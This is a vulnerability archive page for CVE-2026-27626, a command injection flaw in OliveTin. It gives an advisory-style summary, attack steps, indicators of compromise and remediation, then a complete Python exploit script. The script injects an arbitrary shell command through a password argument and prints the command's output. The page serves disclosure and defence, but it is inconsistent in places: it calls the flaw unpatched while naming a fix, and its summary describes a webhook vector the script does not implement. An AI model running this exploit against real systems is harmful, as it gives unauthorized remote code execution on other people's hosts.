PoC Archive PoC Archive
Critical CVE-2026-27626 / GHSA-49gm-hh7w-wfvf unpatched

OliveTin OS Command Injection via Shell Mode Arguments (CVE-2026-27626)

by Md Saikat (0xh7ml) · 2026-07-05

CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-27626 / GHSA-49gm-hh7w-wfvf
Category
web
Affected product
OliveTin (self-hosted web UI for exposing predefined shell commands)
Affected versions
All versions ≤ 3000.10.0 (commits prior to 0.0.0-20260222101908-4bbd2eab1532)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherMd Saikat (0xh7ml)
CVE / AdvisoryCVE-2026-27626 / GHSA-49gm-hh7w-wfvf
Categoryweb
SeverityCritical
CVSS Score9.9–10.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusPoC
Tagscommand-injection, olivetin, rce, webhook, shell-mode, cwe-78, self-hosted
RelatedN/A

Affected Target

FieldValue
Software / SystemOliveTin (self-hosted web UI for exposing predefined shell commands)
Versions AffectedAll versions ≤ 3000.10.0 (commits prior to 0.0.0-20260222101908-4bbd2eab1532)
Language / PlatformPython PoC targeting a Go web application
Authentication RequiredNo (webhook vector); Low-privilege authenticated/self-registered user (password-argument vector)
Network Access RequiredYes

Summary

OliveTin lets administrators expose predefined shell commands (“Actions”) to end users via a web UI or webhooks, relying on checkShellArgumentSafety() to sanitize user-supplied argument values before they are templated into a command string and passed to sh -c. The PoC demonstrates two independent ways to bypass this sanitization: the password argument type is missing from the function’s allow-list and falls through unsanitized, and webhook-triggered actions extract arbitrary JSON keys directly into the execution arguments without ever calling the safety check at all. Because webhook ingestion is a core supported use case and OliveTin often ships with authType: none and self-registration enabled, the second vector yields unauthenticated remote code execution. The script sends a crafted request to a target OliveTin instance and executes an arbitrary OS command as the OliveTin service account.


Vulnerability Details

Root Cause

checkShellArgumentSafety() only sanitizes a hardcoded list of argument types (string, int, bool, choice); the password type and any webhook-derived key with no matching ActionArgument definition bypass the check entirely and are templated unsanitized into sh -c.

Attack Vector

  1. Identify an OliveTin instance running Shell-mode Actions, ideally with a webhook-triggered action or a password-typed argument.
  2. Send a POST request (webhook endpoint or authenticated password-argument endpoint) containing shell metacharacters (;, |, `, $()) in the argument value.
  3. OliveTin templates the unsanitized value into the configured shell command and executes it via sh -c.
  4. The injected command runs with the privileges of the OliveTin process.

Impact

Arbitrary OS command execution as the OliveTin service account, potentially leading to full host or container compromise; the webhook vector requires zero credentials.


Environment / Lab Setup

Target:   OliveTin <= 3000.10.0 (Shell mode enabled, webhook-triggered Action or password-argument Action)
Attacker: Python 3, network access to the OliveTin HTTP/webhook endpoint

Proof of Concept

PoC Script

See CVE-2026.27626.py in this folder.

1
python3 CVE-2026.27626.py -u <TARGET> [-p 1337] [-x id]

The script sends a crafted request against the target’s OliveTin endpoint, injecting a shell command (default id) via the unsanitized password argument or webhook path and displaying the command output returned by the vulnerable instance.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes spawned by the OliveTin service account
  • Webhook request bodies containing shell metacharacters in argument values
  • Outbound connections or file writes initiated by the OliveTin host shortly after a webhook call

Remediation

ActionDetail
Primary fixUpgrade OliveTin to build 0.0.0-20260222101908-4bbd2eab1532 or later
Interim mitigationDisable Shell mode and webhook-triggered Actions where not required, remove password-typed arguments reachable by untrusted users, enforce real authentication instead of authType: none, and restrict network access to the webhook endpoint

References


Notes

Mirrored from https://github.com/0xh7ml/CVE-2026-27626-PoC on 2026-07-05.

CVE-2026.27626.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3

import argparse
import json
import sys
import uuid
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def start_action(base_url, tracking_id, cmd):
    url = f"{base_url}/api/olivetin.api.v1.OliveTinApiService/StartAction"

    payload = {
        "bindingId": "backup_database",
        "arguments": [
            {
                "name": "db_user",
                "value": "backup_svc"
            },
            {
                "name": "db_pass",
                "value": f"';{cmd};'"
            },
            {
                "name": "db_name",
                "value": "production"
            }
        ],
        "uniqueTrackingId": tracking_id
    }

    r = requests.post(
        url,
        json=payload,
        verify=False,
        timeout=10,
    )

    r.raise_for_status()

    return r.json()["executionTrackingId"]


def execution_status(base_url, tracking_id):
    url = f"{base_url}/api/olivetin.api.v1.OliveTinApiService/ExecutionStatus"

    payload = {
        "executionTrackingId": tracking_id
    }

    r = requests.post(
        url,
        json=payload,
        verify=False,
        timeout=10,
    )

    r.raise_for_status()
    return r.json()


def print_output(resp):
    try:
        output = resp["logEntry"]["output"]
    except KeyError:
        print(json.dumps(resp, indent=4))
        return

    print("=" * 70)
    print("Command Output")
    print("=" * 70)
    print(output.rstrip())
    print("=" * 70)


def main():
    parser = argparse.ArgumentParser(
        description="OliveTin HTB PoC"
    )

    parser.add_argument(
        "-u",
        "--url",
        required=True,
        help="Target host/IP"
    )

    parser.add_argument(
        "-p",
        "--port",
        default=1337,
        type=int,
        help="Target port (default: 1337)"
    )

    parser.add_argument(
        "-x",
        "--cmd",
        default="id",
        help="Command to execute (default: id)"
    )

    args = parser.parse_args()

    host = args.url.rstrip("/")

    if not host.startswith("http://") and not host.startswith("https://"):
        host = "http://" + host

    base_url = f"{host}:{args.port}"

    tracking_id = str(uuid.uuid4())

    try:
        execution_id = start_action(base_url, tracking_id, args.cmd)

        print(f"[+] Execution ID: {execution_id}")
        time.sleep(2)
        response = execution_status(base_url, execution_id)

        print_output(response)

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()